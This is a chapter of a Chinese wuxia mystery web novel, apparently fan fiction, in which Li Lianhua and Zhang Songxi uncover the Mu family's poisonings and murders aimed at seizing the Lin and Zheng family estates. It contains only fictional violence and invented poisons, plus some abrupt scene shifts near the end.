$(''.inform'').remove(); $(''#content'').append('' 才能够去偷账本而不被发现。 “可这些账本能证明暮家侵吞了我们林家的产业!”林若薇咬着唇,眼中满是恨意,泪水却依旧止不住地流,“我还偷听到暮中正和他的亲信方有涯说话,他们说……郑伯伯当年根本不是病逝,是被暮中正用‘牵机引’毒死的!因为郑伯伯发现了暮家私吞官粮的事,想要去荆州知府那里揭发他们,所以暮中正才下了毒手!” 墙头上的李莲花与张松溪心中皆是一震,对视一眼,都从对方眼中看到了惊讶。原来郑天佑的死并非意外,而是暮中正的毒手,如此一来,林阔方夫妇的死,恐怕也与他们发现了暮家的秘密有关。 林采薇的脸色愈发凝重,她合上账本,沉声道:“此事我早有怀疑。爹娘此次去荆州,明面上是谈药材生意,实则是去寻找当年为郑伯伯诊治的郎中刘大夫。他们想找到刘大夫,拿到暮中正下毒的证据,然后联合其他乡绅,一起揭发暮家的罪行,只是没想到,暮家竟如此狠毒,提前下了手。” 她指着账本上的记录,声音压得极低,生怕被外人听到:“你看,暮家近三年来,从我们林家的漕运码头私运的药材、丝帛,价值不下十万两白银。他们急需这笔钱,因为暮临州想要买通荆州的官员,谋一个更高的职位,掌控荆襄一带的漕运与盐铁生意。” “买官?”林若薇惊道,眼中满是不敢置信,“他不过是个师爷的儿子,怎么敢想知府的位置?这可是杀头的大罪!” “暮临州野心极大,他不甘心只做个县城里的土霸王。”林采薇冷笑一声,眼底闪过一丝鄙夷,“他想靠着买官往上爬,最终掌控整个荆襄的经济命脉,到时候就算是朝廷,也奈何不了他。所以爹娘必须死,因为他们是唯一知道暮家底细,且有能力阻止他的人。” 林若薇的身子微微颤抖,她拉着姐姐的手,颤声问道:“那怎么办?” 两个孤女守着这份大家业,弄得是人人都想侵吞。 姐妹二人相拥而泣,泪水打湿了彼此的衣衫。林若薇忽然抬起头,眼中带着一丝复杂的情绪,有痛苦,有挣扎,还有一丝不易察觉的留恋,她低声道:“姐姐,其实……我喜欢暮临州。” 林采薇的身子猛地一僵,她推开妹妹,不敢置信地看着她,眼中满是震惊:“若薇,你说什么?他是杀爹娘的凶手,是害死郑伯伯的罪魁祸首,你怎么会喜欢他?” “我知道他不怀好意,可是……”林若薇的泪水再次滑落,滴落在素白的襦裙上,晕开一小片湿痕,“可是两年前,我被人贩子掳走,关在一个破庙里,是暮临州从人贩子手里救了我,还亲自把我送回林家。这两年,爹娘忙着打理生意,姐姐你又一心学管家,很少有时间陪我,只有他会陪我玩,教我读书写字,给我带好吃的点心。姐姐,我知道我这样很傻,可是我控制不住自己的心……” 林采薇看着妹妹泪眼婆娑的模样,心中五味杂陈,有愤怒,有心疼,还有一丝无奈。她长叹一声,又将妹妹搂进怀中,轻轻拍着她的背:“不傻,只是你太重情了,把别人的虚情假意当成了真心。只是若薇,你要记住,暮临州对你的好,不过是伪装出来的,他看中的,从来都是林家的产业,不是你。” “现在看来,两年前的人贩子事件也十分可疑,他有可能从那时起就开始布局了。”林采薇越想越觉得就是这样。 “不会吧,他怎么会知道我是林家的女儿?他怎么会提前知道?”林若薇不禁呆住了。 “世上无难事,只要他有心,他就会得到这个消息,然后故意使手段救了你。”林采薇想这个妹妹她也非常喜欢,就是有时候太过于单纯。 墙头上的李莲花轻轻拍了拍张松溪的肩膀,二人悄然跃下墙头,转身离开了小巷,只留下院内的姐妹二人,在秋日的暮色中相拥着,诉说着心底的苦楚。“这对姐妹,倒是比我想象的更有故事。”张松溪低声道,语气里带着一丝感慨,“尤其是林采薇,她知道的事情,恐怕远不止她说出来的这些,是个有勇有谋的女子。” “她是个聪明人,知道什么时候该隐忍,什么时候该反击。”李莲花望向县衙的方向,眼中闪过一丝赞赏,“暮临州想利用林若薇拿捏林家,怕是打错了算盘。林采薇绝不会让妹妹陷入危险,更不会让林家的产业落入暮家手中。” 37. 暗流涌动端倪现2 夜色如墨,浓稠得化不开,笼罩着南山县城。郑府位于县城的东头,是一座三进的宅院,朱门紧闭,门前挂着两盏灯笼,昏黄的光芒在夜色中摇曳,显得有些孤寂。此刻府内一片寂静,只有东侧的庭院里,还亮着一盏孤灯,映着一道孤单的身影。 郑承泽独自一人在院中练剑,他手中的长剑是父亲郑天佑留下的,剑鞘是鲨鱼皮所制,剑穗是林若薇亲手绣的粉色流苏,此刻剑光杂乱,招式毫无章法,显是心绪不宁,根本无法静下心来。 他想起白日里在县衙的遭遇,想起林阔方夫妇的惨死,又想到自己被嫁祸的事,心中又惊又怒,却又无计可施,只能借着练剑发泄心中的郁气。他与林采薇青梅竹马,虽嘴上不说,却早已情根深种,如今林若薇的父母惨死,自己又差一点成了嫌疑犯,到现在还没有完全洗脱嫌疑,连靠近她都做不到,心中的憋屈与痛苦难以言表。 “铮”的一声,长剑劈在院中的石桌上,石桌被劈出一道深深的裂痕,碎石飞溅,郑承泽却浑然不觉,只是喘着粗气,握着剑柄的手因用力而指节发白,看着手中的长剑发呆。 就在这时,院墙上突然闪过数道黑影,那黑影蒙着面,只露出一双双凶狠的眼睛,手中握着长刀,动作迅捷如豹,悄无声息地跃入院中,直扑郑承泽,显然是早有预谋。 “什么人?”郑承泽惊喝一声,猛地回过神来,连忙挺剑迎上。可他的武功本就平平,平日里只学了些花架子,用来强身健体尚可,哪里是这些黑衣人的对手?不过三五个回合,他便左支右绌,手臂被刀风扫过,划开一道血口,鲜血瞬间渗了出来,染红了衣袖,长剑也险些被打飞。 眼看一名黑衣人的长刀就要劈中他的头顶,刀风带着寒意,刮得他脸颊生疼,郑承泽绝望地闭上了眼睛,心想自己今日怕是要命丧于此,连为林若薇洗清冤屈的机会都没有了。 可他迟迟没有感觉到疼痛,反而听到了一声兵器相撞的脆响。他睁开眼,只见一道青影如闪电般掠入院中,手中长剑挥洒自如,剑光如虹,瞬间便挑飞了两名黑衣人的兵刃,正是张松溪。 张松溪手中的七星龙泉剑是武当至宝,削铁如泥,吹毛可断,此刻剑招展开,如行云流水,武当剑法的“柔”与“快”被他发挥得淋漓尽致。那些黑衣人虽是暮家豢养的死士,身手不弱,却在张松溪的剑下毫无还手之力,不过片刻,便有三人被刺伤在地,发出痛苦的闷哼。 与此同时,李莲花也出现在庭院的屋檐上,他袖中飞出数点寒星,那是他自制的莲花镖,镖身淬了麻药,小巧却精准,如同长了眼睛一般,精准地打在其余黑衣人的膝弯穴道上。那些黑衣人只觉膝盖一麻,瞬间便跪倒在地,动弹不得,只能眼睁睁地看着同伴被制服。 郑承泽惊魂未定,看着眼前的景象,半晌才反应过来,对着张松溪与李莲花拱手作揖,声音还带着一丝颤抖:“张四侠!李公子!多谢二位救命之恩!若非二位及时赶到,我今日怕是性命不保!” 张松溪收剑入鞘,走到一名黑衣人面前,伸手挑开他的面巾,露出一张陌生的脸,脸庞瘦削,眼神凶狠,却带着一丝惧意。李莲花则走到那黑衣人身边,蹲下身查看。 “你是谁人派来刺杀郑公子的?”李莲花淡淡道,语气里没有半分波澜。 “不说,我就一刀一刀地用我手中的这把刀割你的肉,直到你的血流干为止,怎么样?”李莲花见黑衣人脸上的惧意越来越浓。 “是暮临州。” 黑衣人在李莲花准备用匕首割他的肉的时候出口,那匕首只离他一寸了。暮家的这批人本来受过的训练就不多,所以不惊吓,一吓就招了。 郑承泽的脸色瞬间变得惨白,后退了一步,眼中满是不敢置信:“暮临州为何要杀我?我与他无冤无仇,他为何要置我于死地?” “因为你是郑林联姻的关键。”李莲花走到郑承泽面前,目光平静地看着他,像是能看穿他心底的疑惑,“郑公子,令尊当年真的是病逝吗?我听说令尊去世前,身体一向健朗,并无心疾之症。” 郑承泽一愣,随即摇了摇头,眼中闪过一丝疑惑:“当年郎中说父亲是心疾突发,不治身亡,可我总觉得不对劲。父亲的身体一向很好,怎么会突然心疾发作?而且他去世前,曾私下告诉我,让我小心暮家的人,还说若他出了意外,就让我把一个锦盒交给林伯伯,只是我一直没敢打开,怕里面藏着什么危险的东西。” 郑承泽确实也只是个纨绔子弟。 “锦盒?”李莲花追问道,眼中闪过一丝精光,“那锦盒现在何处?里面装的是什么?” “在我书房的暗格里,用父亲的玉佩才能打开。”郑承泽道,“我也不知道里面装的是什么,父亲只说那是能保护郑家与林家的东西。” 李莲花沉吟片刻,眼中闪过一丝思索,道:“不如郑公子你暂住林家。林采薇心思缜密,做事稳妥,林家的护卫也不少,且暮临州对林若薇还有所顾忌,暂时不会对林家下手,郑公子住在那里,反而安全。而且郑林两家联手,也能更好地防备暮家的算计。” 张松溪点头赞同:“此计甚妙。既可以保护郑公子的安全,也能让郑林两家放下隔阂,共同对抗暮家,找出真相。” 郑承泽与王铁柱皆是点头,觉得此计可行。当下便决定,连夜将郑承泽送往林家,由林家的护卫负责保护他的安全。夜色中,一行人悄然离开郑府。 次日清晨,天色微亮,郑承泽便搬进了林家。林采薇亲自为他安排了住处,是靠近内院的一间厢房,安静且安全,还派了两名得力的护卫守在门外,以防不测,确保他的安全。 晌午时分,暮临州突然登门拜访,手中提着一个精致的礼盒,脸上带着温和的笑容,看起来像是专程来吊唁林阔方夫妇的。 林采薇在前厅接待了他,林若薇坐在一旁作陪,只是她低着头,不敢看暮临州的眼睛,手指紧张地绞着衣角,心中五味杂陈,既有对他的怨恨,又有一丝难以割舍的情愫。 “采薇妹妹,若薇妹妹,节哀顺变。”暮临州将礼盒放在桌上,叹了口气,语气显得十分惋惜,“林世伯与伯母生前待我如亲侄,时常邀我去府上做客,如今他们遭此横祸,我心中甚是悲痛,昨夜辗转难眠,总想着能为二位妹妹做些什么。” 林采薇端起茶杯,抿了一口,语气平淡,听不出喜怒:“多谢暮公子好意,林家的事,我们自己能处理,就不劳烦暮公子费心了。”她对暮临州的来意心知肚明,无非是想打探林家的虚实,寻找吞并产业的机会。 暮临州笑了笑,并不在意她的冷淡,话锋一转,看向林若薇,眼神变得温柔,带着一丝深情:“若薇妹妹,今日我特地带来了你最爱吃的桂花糕,是醉花楼的招牌点心,你尝尝,看看还是不是你喜欢的味道。”暮临州惯会使一些小手段,博得小姑娘家的欢心。 只是林若薇已经知道了他的真面目。 说着,他从礼盒中取出一盒桂花糕,推到林若薇面前,桂花糕的香气弥漫开来,甜腻中带着一丝桂花香。林若薇抬眼看了他一眼,又迅速低下头,轻声道:“多谢暮公子,我没胃口,吃不下去。”她想起父母的惨死,便觉得这桂花糕也变得苦涩起来。 暮临州的眼中闪过一丝不悦,却依旧保持着笑容,语气带着一丝委屈:“若薇妹妹是还在怪我?怪我昨日话说得重了一些。”他只当林若薇还是一个什么都不懂的姑娘。 “暮公子不必多说了。”林采薇打断他,语气带着一丝冰冷。 暮临州见林采薇油盐不进,心中有些不耐,却还是耐着性子,继续道:“采薇妹妹,我知道你对我有误会,可我对若薇妹妹的心意,天地可鉴,日月可昭。如今林世伯与伯母去世,若薇妹妹无依无靠,我愿照顾她一生一世,给她一个安稳的家,不知采薇妹妹可否成全?” 林若薇猛地抬起头,眼中满是震惊,她没想到暮临州会突然说出这番话,心中一时不知是何滋味。林采薇则冷笑一声,语气带着一丝嘲讽:“暮公子,我父母新丧,按照规矩,三年内不提婚嫁。何况若薇与郑公子有婚约在先,乃是父母之命,媒妁之言,绝无反悔的可能,暮公子还是死了这条心吧。” “可是郑承泽喜欢你呀。” “暮公子可有知道你自己在说什么吗?林伯,送客!”林采薇这倒是少见地生气了。 暮临州的脸色终于沉了下来,眼中的温柔消失殆尽,取而代之的是一丝阴鸷,他站起身,冷冷道:“既然如此,那我也不绕圈子了。林采薇,我给你三日时间,将林家的账本和所有家业的印鉴交出来,否则,郑承泽的下场,就是你们姐妹的榜样,别怪我心狠手辣。” 说完,他拂袖而去,前厅的气氛瞬间变得凝重,空气中仿佛还残留着他的威胁。林若薇看着暮临州的背影,眼中满是失望与痛苦,泪水再次滑落:“他……他果然是为了林家的产业,根本不是真心对我。”原来林采薇也是喜欢暮临州的。 原来他之前所有的光风霁月,君子风范都是装出来的。 “早该看清他的真面目了。”林采薇握住妹妹的手,语气坚定,“若薇,从今日起,你吃的东西、喝的茶水,都要先让下人验毒,暮临州心狠手辣,为了达到目的不择手段,绝不会善罢甘休,我们必须小心提防。”她在内宅浸淫多年,知道这些小手段是防不胜防的,况且下毒是最简单的方式了。 然后她还嫌不够,又吩咐府里府外的护卫加强警戒,务必不要放过任何一个可以人士。 “这府里还不知道哪些人是他的人呢?要是等这件事情过后我还活着的话,定要将府里好好清洗一番。”林采薇在心里想着。 当晚,林若薇的宵夜是一碗莲子羹,是她平日里最爱吃的,由新来的丫鬟端上来,莲子羹熬得软糯香甜,散发着淡淡的莲香。林若薇正坐在窗边发呆,看着窗外的月色,手中拿着勺子,刚要舀起一勺莲子羹,却被林采薇拦住了,语气带着一丝警惕:“先别吃,验毒。” 林采薇沉声道,从袖中取出一根银簪,这是她特意准备的,用来检验食物是否有毒。她将银簪插入莲子羹中,片刻后,取出银簪,只见银簪的尖端变成了黑色,显然是有毒,且毒性不浅。 林若薇吓得脸色惨白,手中的勺子掉落在地,发出清脆的响声,眼中满是恐惧:“他真的要毒我?他竟然真就如此无法无天?” “不是他,还能有谁?”林采薇冷声道,眼中闪过一丝恨意,“这丫鬟是暮家安插进来的,看来我们的身边,早已被暮家的人渗透了,只是我们一直没有察觉。” 她立刻让人将那丫鬟抓了起来,押到前厅审问,可那丫鬟却十分硬气,咬舌自尽,临死前只说了一句:“暮公子说了,你们姐妹,活不过三日,这是你们得罪暮家的下场。” 李莲花与张松溪闻讯赶来,查验了那碗莲子羹后,李莲花的脸色变得凝重,眉头紧紧皱起:“这是‘牵机引’的毒,与郑天佑所中之毒一样,服下后三日发作,先是心悸,然后四肢抽搐,最后七窍流血而亡,无药可解,是一种极为歹毒的毒药。” 张松溪皱眉道:“暮家竟如此肆无忌惮,连林家的小姐都敢下毒,看来是笃定县衙不敢拿他们怎么样,有恃无恐。” “赵县令被暮中正拿捏,自然不敢管。”李莲花道,眼中闪过一丝冷光,“我们必须尽快找到暮家的罪证,将他们绳之以法,否则林氏姐妹与郑承泽,都难逃一劫,性命堪忧。” 三日后,清晨的第一缕阳光透过窗棂照进林家的客房,却照不进屋内的死寂。郑承泽在林家的客房中被人发现身亡,他倒在地上,身上有多处刀伤,深浅不一,死状可怖。 赵砚锋接到报案后,亲自带着衙役赶到林家,看到郑承泽的尸首时,脸色铁青。 暮中正却坦然自若,声称令牌早已失窃,且案发时他与暮临州正在家中与乡绅饮酒,有多人可以作证,还拿出了饮酒的凭证,赵砚锋无奈,只能暂时作罢。 李莲花与张松溪仔细查验了郑承泽的尸首,不放过任何一个细节。张松溪发现,郑承泽身上的刀伤看似杂乱,唯有左肩的一刀深可见骨,刀口整齐,是高手所为,且这一刀本可致命,却偏偏偏了三分,像是故意留他一时性命,显然是另有目的。 “这不是劫杀,是逼供。”张松溪沉声道,语气肯定,“凶手想从郑承泽口中问出什么,只是郑承泽宁死不说,凶手才伪装成劫杀的样子,掩盖自己的真实目的。” 李莲花则在郑承泽的腰带夹层中找到了一张字条,字条上是用鲜血写的歪扭字迹,因失血过多,字迹十分潦草,只能看清三个字:“账……水……三……”,像是郑承泽在临死前拼尽全力写下的线索。 “这三个字是什么意思?”张松溪看着字条,眉头微皱,心中充满了疑惑,“是账本在水里?还是与三有关的地方?” 李莲花沉吟片刻,突然想起了暮家死士耳后的三滴水纹刺青,眼中闪过一丝明悟:“不是‘水’,是‘漕’!南山县有三条漕运线路,分别由林家、郑家与暮家掌控,暮家一直想独占漕运,所以才会对郑林两家下手!郑承泽想说的,应该是暮家的漕运账本,藏在与‘三’有关的地方,比如第三条漕运线路的码头仓库。” “那‘三’指的是什么?是第三条漕运线路?还是暮府的三间书房?”张松溪追问道,想要弄清楚具体的位置。 “暂时还不清楚。”李莲花道,语气带着一丝遗憾,“不过我们可以从回春堂的刘大夫入手,他是唯一知道暮中正下毒的人,找到他,就能拿到暮家的罪证,揭开所有的谜团。” 二人立刻动身前往回春堂旧址,回春堂早已转手,如今成了一家布庄,卖着南山县的土布,生意平平。布庄的老掌柜是个年过花甲的老人,头发花白,与刘大夫是旧识,交情匪浅。李莲花向他打听刘大夫的去向,老掌柜沉吟许久,才缓缓开口,语气带着一丝惋惜:“刘大夫五年前突然关了铺子,说是回荆州老家养老。走的那天,暮师爷还亲自来送行,提了一盒荆州特产的点心,现在想来,怕是那点心有问题,刘大夫这一走,就再也没有消息了。” “点心?”李莲花心中一动,想起了林阔方夫妇收到的点心,“可知刘大夫在荆州的具体住处?” “他说在荆州城南的柳树巷,具体的门牌号我就不知道了,只知道他家门口有一棵大槐树。”老掌柜道,尽力回忆着当年的细节。 李莲花与张松溪立刻动身前往荆州,二人快马加鞭,日夜兼程,只用了两日便抵达了荆州城。在柳树巷中辗转打听,终于找到了刘大夫的住处,他家门口果然有一棵大槐树,枝繁叶茂。刘大夫已是须发皆白,年过七旬,见到二人时,先是警惕,待得知他们是为了南山县的案子而来,才放下戒心,道出了当年的真相,眼中满是悔恨。 “当年郑天佑来找我看病,说他心悸失眠,夜不能寐,我诊脉后发现他中了‘牵机引’的毒,可暮中正却派人威胁我,让我谎称郑天佑是心疾突发,还逼我在药方里加了加重毒性的药材,导致郑天佑毒发身亡。”刘大夫老泪纵横,声音哽咽,“我心里一直不安,这些年一直在收集暮家的罪证,就是想为郑天佑报仇,弥补我当年的过错。” 他从床底取出一个木盒,里面装着暮中正下毒的证据,还有暮家私吞官粮、勾结盗匪的书信,以及当年被逼写下的假药方。“这些证据足以扳倒暮家了。”刘大夫将木盒递给李莲花,语气恳切,“只是暮家势大,二位要小心行事,切莫打草惊蛇。” 二人谢过刘大夫,带着证据赶回南山县,心中充满了希望,以为终于能将暮家绳之以法。可刚到县城门口,就接到了王铁柱的消息,语气焦急:“李公子,张四侠!不好了!林二小姐被暮临州掳走了,关在暮府的地下暗室里,情况危急!” 掳走林若薇的人,正是暮临州。 昨夜他从醉仙楼回来后,便带着几个心腹家丁,趁着夜色潜入了林府。林府因接连办丧,守卫本就松懈,暮临州又对林府的布局了如指掌,轻易便找到了林若薇的住处,将熟睡中的她打晕,用马车带回了暮府。 林若薇醒来时,发现自己被绑在一张冰冷的楠木椅子上,四周一片漆黑,只有头顶悬着一盏昏黄的油灯,映着墙壁上斑驳的影子。空气中弥漫着一股淡淡的药味,还有潮湿的霉味,显然是在地下暗室里。 “醒了?”一个熟悉的声音在黑暗中响起,暮临州缓步从阴影里走出来,手中端着一碗黑色的药汁,药汁表面泛着诡异的光泽。 林若薇挣扎着想要起身,却发现手脚都被粗麻绳绑得死死的,只能瞪着暮临州,眼中满是恨意:“暮临州,是你掳走了我?我爹娘是不是你杀的?” 暮临州走到她面前,蹲下身,伸手抚了抚她的脸颊,指尖的温度让林若薇一阵战栗。他柔声道:“若薇妹妹,别怪我。要怪,就怪你姐姐太精明,不肯将林家的账本和印鉴交出来。” 他晃了晃手中的药碗:“这里面是‘傀儡散’,服下之后,你会忘记所有的事,忘记你爹娘的死,忘记郑承泽,甚至忘记林采薇。你只会听我一个人的话,到时候,你会亲手把林家的所有财产转到暮家名下,然后……嫁给我,做我的暮夫人。” “我不喝!”林若薇猛地偏过头,牙关紧咬,“你这个凶手!我就算死,也不会帮你!” 暮临州的脸色沉了沉,捏着她的下巴强行将她的头扳正:“由不得你。”他说着,便要将药碗凑到她嘴边,林若薇拼命挣扎,却因浑身无力,根本无法反抗,只能任由那苦涩的药汁被灌进喉咙里。 药汁入腹,一股灼热的感觉瞬间蔓延开来,林若薇只觉得脑袋昏沉,眼皮越来越重,浑身的力气也像是被抽干了一般。她强撑着最后一丝清明,看着暮临州,声音微弱:“我爹娘……到底是不是你杀的?郑大哥……是不是也死在你手里?” 暮临州看着她涣散的眼神,忽然笑了,那笑容里带着一丝疯狂和无奈:“是又如何?林阔方夫妇挡了我爹的路,郑承泽挡了我的路,他们都该死。不过,杀郑承泽的不是我,是我爹的手下方有涯。那枚暮府的令牌,也是我爹故意让赵大人的人捡到的,为的是让官府怀疑我,他好从中渔利。” 他站起身,居高临下地看着林若薇:“我爹老了,心思越来越深沉,可他不知道,暮家早晚是我的。林家的产业是我的,你也是我的。” 林若薇的意识终于彻底陷入黑暗,只留下眼角的一滴泪,落在冰冷的青石板上。 而暗室的门外,李莲花与张松溪正贴在石壁上,将里面的对话听得一清二楚。张松溪握紧了腰间的七星龙泉剑,剑鞘微微震动,显然是怒极,正要推门而入,却被李莲花伸手按住了。 “现在进去,打草惊蛇。”李莲花的声音压得极低,透过石壁的缝隙,能看到暮临州正转身走出暗室,“暮中正还没露面,他才是暮家真正的主事人,我们要的是一网打尽,人赃并获。” “可林姑娘她……”张松溪看着暗室里瘫软在椅子上的林若薇,心中焦急,“那傀儡散若是生效,林姑娘就完了。” “傀儡散的药性要三日才会彻底发作,让她忘记所有事。”李莲花眼中闪过一丝冷光,“我们还有时间。先找到暮中正的罪证,再救林姑娘不迟。” 二人悄然退去,身影融入暮府的夜色里。而他们不知道的是,在暮府的另一处阁楼里,暮中正正坐在窗边,手里拿着一封密信,信上的字迹不知道是谁的手笔,只写了一句话:“速取林家产业,否则,你害死雅萍的事,我便公之于众。” 暮中正捏紧了密信,指节泛白,眼中闪过一丝狠厉,又带着一丝不甘。 翌日晌午,暮临州派人给林采薇送了一封信,信中称林若薇在他手中,若想林若薇平安,便带着林家的漕运账本和码头印鉴,独自前往暮府交换。 林采薇捏着信纸,指节因用力而发白,脸上却不见半分慌乱。她知道这是暮家的圈套,可妹妹在他们手中,她不得不去。她将林家的事务托付给管家,又暗中让人给李莲花送了一张字条,告知自己的去向,随后便带着一个紫檀木的盒子,孤身前往暮府。 暮府的花厅里,布置得十分奢华,红木桌椅上摆着精致的茶点,却透着一股压抑的气氛。暮中正终于露面了,他穿着一身紫色的锦袍,面容阴鸷,眼角的皱纹里藏着算计,坐在主位上,手中把玩着一枚玉如意,见林采薇进来,只是抬了抬眼皮:“林姑娘,倒是比我想象的要勇敢。” “暮师爷。”林采薇将紫檀木盒子放在桌上,语气平静,“我人来了,账本和印鉴也带来了,现在,我要见我妹妹。” “急什么。”暮中正呷了一口茶,“林姑娘是个聪明人,应该知道,只有将账本和印鉴交给我,你才能见到你妹妹。” “我要先见若薇,确认她平安无事,才会交出东西。”林采薇寸步不让,“否则,我宁愿毁了账本和印鉴,让暮家什么都得不到。” 暮中正盯着她看了半晌,忽然笑了:“果然是林阔方的女儿,有几分骨气。也罢,就让你见见她。”他对着门外喊了一声,“把林二小姐带上来。” 片刻后,暮临州带着林若薇走了进来。林若薇脸色苍白,眼神有些涣散,显然是傀儡散的药性开始发作,见到林采薇,她张了张嘴,却只发出一声模糊的呼唤:“姐姐……” “若薇!”林采薇心头一紧,想要上前,却被两个家丁拦住了。 “林姑娘,别冲动。”暮临州挡在林若薇身前,“只要你交出账本和印鉴,我立刻放了她。” 林采薇看着妹妹虚弱的模样,深吸一口气,转向暮中正:“账本和印鉴可以给你,但我有条件。” “哦?”暮中正挑眉,“林姑娘不妨说说看。” “第一,暮公子要立字为据,娶若薇为正妻,不得纳妾,暮家的产业要分她三成。”林采薇一字一顿道,“第二,暮家要保证我林家上下的安全,不得再为难林家的人。第三,将害死我爹娘和郑承泽的凶手交出来,交由官府处置。” 暮临州闻言,立刻怒道:“你别得寸进尺!三成产业?你也配提这样的条件!” “林家的产业价值百万两白银,漕运码头更是南山县的咽喉要道,给若薇三成暮家产业,换你暮家独占南山县的漕运和丝帛生意,你觉得亏吗?”林采薇冷笑,“何况,我若死了,藏在荆州知府那里的证据,会立刻被送上去,到时候,暮家不仅拿不到林家的产业,还要满门抄斩。” 她说着,从袖中取出一本薄薄的账册,扬了扬:“这是暮家五年来私吞官粮、勾结盗匪的证据,你以为我这些日子,真的只是在打理林家的产业吗?” 暮中正的脸色瞬间变了,他没想到林采薇竟早已收集了暮家的罪证。他看向暮临州,使了个眼色,暮临州虽满心不愿,却还是拿起纸笔,写下了婚书和契据,按上了自己的手印。 林采薇接过契据,仔细检查了一遍,确认无误后,才将紫檀木盒子推到暮中正面前:“账本和印鉴都在里面,你可以看了。” 暮中正打开盒子,里面果然放着林家的漕运账本和一枚刻着“林记”的铜质印鉴。他翻看了几页账本,确认是真的,眼中闪过一丝杀机,对着门外喊了一声:“方有涯!” 立刻,十几个手持利刃的打手从门外涌了进来,将林采薇团团围住。方有涯站在最前面,面色狰狞:“林姑娘,得罪了。” “暮中正,你言而无信!”林采薇握紧了拳头,后退一步,背靠在桌子上。 “成大事者,本就不拘小节。”暮中正站起身,走到林采薇面前,“林姑娘,你太聪明了,留着你,始终是个祸患。” 就在这时,花厅的窗户突然被人一脚踹碎,两道身影如同惊鸿般掠了进来。李莲花落在林采薇身边,伸手将她护在身后,张松溪则手持七星龙泉剑,剑光一闪,便将冲在最前面的两个打手逼退。 “暮师爷,好一场自导自演的大戏。”李莲花看着暮中正,语气平淡,却带着一股不容置疑的力量。 张松溪的剑指向暮临州:“放开林姑娘,否则,休怪我剑下无情。” 暮中正却并不慌乱,他挥了挥手,让打手们停下动作,看向李莲花:“张四侠,李公子,这是暮家与林家的私事,二位何必插手?江湖人管江湖事,官府的事,就不劳二位费心了。” “谋杀林阔方夫妇、郑承泽,也是私事?”李莲花从袖中取出那角在林阔方案发现场捡到的云锦布料,“这布料是暮府绸缎庄的独家样式,除了暮家,无人能织。林夫人发间的朱砂,是官府专供的朱砂,只有暮府的书房里有存放。郑承泽身上的刀伤,与暮府死士的佩刀刀口完全吻合。暮师爷,这些证据摆在眼前,你还要狡辩吗?” 暮临州见状,突然暴起,抽出腰间的长剑,朝着林若薇刺去:“爹!先杀了她,再解决这两个人!”他知道,只要林若薇死了,林采薇就没了软肋,他们便有胜算。 “住手!”暮中正厉声喝止,可暮临州的剑已经刺出,眼看就要刺中林若薇的胸口。千钧一发之际,张松溪的七星龙泉剑如一道闪电般袭来,格开了暮临州的长剑,两剑相撞,发出一声刺耳的金铁交鸣。 暮临州被震得后退数步,虎口发麻,他看着暮中正,眼中满是不解:“爹,你为什么不让我杀了她?” 暮中正没有理会他,只是盯着李莲花,缓缓道:“李公子果然聪明,可你以为,仅凭这些,就能定暮家的罪吗?” “加上刘大夫的证词呢?”李莲花从怀中取出一封信,扬了扬,“我们已经派人去了荆州,找到了刘大夫。他亲口承认,五年前郑天佑并非死于心疾,而是中了‘牵机引’之毒,而下毒的人,就是你暮中正。他还说,是你用他家人的性命相要挟,让他谎称郑天佑是病逝。” 暮中正的脸色终于变得惨白,握着账本的手开始颤抖。他知道,刘大夫的证词一出,暮家就彻底完了。 而暮临州在一旁听得目瞪口呆,他看着暮中正,不敢置信地说:“爹,你这个蠢货,怎么会比我还蠢呢?做这些事怎么还会留这么多证据?” 暮临州看着暮中正,突然像是疯了一般,调转剑锋朝着暮中正刺去:“爹!你把我也害了!” 剑尖狠狠刺向暮中正的胸口,暮中正下意识地伸手去挡,剑尖刺入他的手掌,鲜血瞬间涌了出来。他忍着痛,反手抽出袖中的短刃,朝着暮临州的胸口刺去:“逆子!我做这一切,都是为了你!你却要杀我!” 父子相残,血溅花厅。方有涯等打手见主家自相残杀,顿时乱作一团,想要逃跑,却被张松溪一一制服,无一漏网。 暮中正看着儿子的尸首,瘫坐在地上,口中喃喃道:“完了,一切都完了……” “别杀我,我招,我招,我全都招了。可是还有一个幕后之人你们抓到了吗?没有吧,你们两个人也不过如此。”暮中正现在有些自暴自弃了。 李莲花忽然轻轻地、几乎像自言自语般开了口,声音不高,却异常清晰: “梁上的朋友,听了这许久,也该下来了吧。” 此言一出,张松溪猛地抬头,目光如电射向房梁。 偏厅的房梁颇高,阴影浓重,乍看之下空无一物。但就在李莲花话音落下几个呼吸之后,那浓重的阴影忽然波动了一下,仿佛墨汁滴入清水。一道黑影,如一片没有重量的枯叶,悄无声息地飘然而下,落地时连尘埃都未惊起多少。 烛光映亮了来人的脸。赫然正是本该在外追查线索、或至少应在衙署前堂的南山县县令——赵砚锋! 不,确切地说,是穿着与堂上这位“赵砚锋”一模一样公服,面容、身形也毫无二致的另一个“赵砚锋”!只是眼前这位从梁上落下的“赵砚锋”,眉宇间少了些公门中人的刚正肃穆,反而多了一丝阴沉与莫测,眼神锐利如刀,扫过屋内三人,最后定格在端坐案后的那位“赵砚锋”身上。 堂上坐着的“赵砚锋”已然站起身,手仍按在刀柄上,脸上尽是震惊与难以置信,厉声道:“你是何人?竟敢冒充本官!” 他看向张松溪和李莲花,“张四侠,李神医,此乃宵小易容假冒,意图不轨!速速将其拿下!” 张松溪已挡在李莲花身侧半步,气息沉凝,全身戒备,目光在两个“赵砚锋”之间快速游移,显然也一时难以分辨。 李莲花却仿佛对眼前这诡异的一幕并不意外,他甚至没有回头去看那落地的“赵砚锋”,依旧望着窗外,只是语气平淡地继续道:“一进这偏厅,我便闻到一股若有若无的、特别的香气。” 他缓缓转过身,目光平静地落在后来那位从梁上跃下的“赵砚锋”身上:“那香气,清冽中带着一丝不易察觉的甜腻,混合着极淡的脂粉气与……朱砂的矿物气息。这味道,我曾在回雁径,林老爷夫妇出事的地方,隐隐闻到过。当时只道是山间野花杂气,或是车中薰香残留。但现在看来,并非如此。” 被李莲花注视着的“赵砚锋”,脸上的讥诮渐渐收敛,化为一种冰冷的审视。他没有理会案后那位愤怒的“赵砚锋”,反而对李莲花点了点头:“不愧是‘神医’李莲花,鼻子果然灵光。难怪暮中正那蠢货,会栽在你手里。” 暮中正的目光变得幽深,仿佛回到了那个阴雨的山道旁:“我赶到时,暮中正已按计划躲藏起来。唐婉儿倒在她丈夫身边,还有一口气。她看见我,很惊讶,大概没想到我会出现在那里。我走过去,对她说……” 他顿了顿,模仿着一种当时可能用过的、或许带着伪善的语气:“‘林夫人,节哀。林兄已去,你重伤如此,这荒山野岭……不如,跟了我吧。我能保你性命,给你富贵。’” 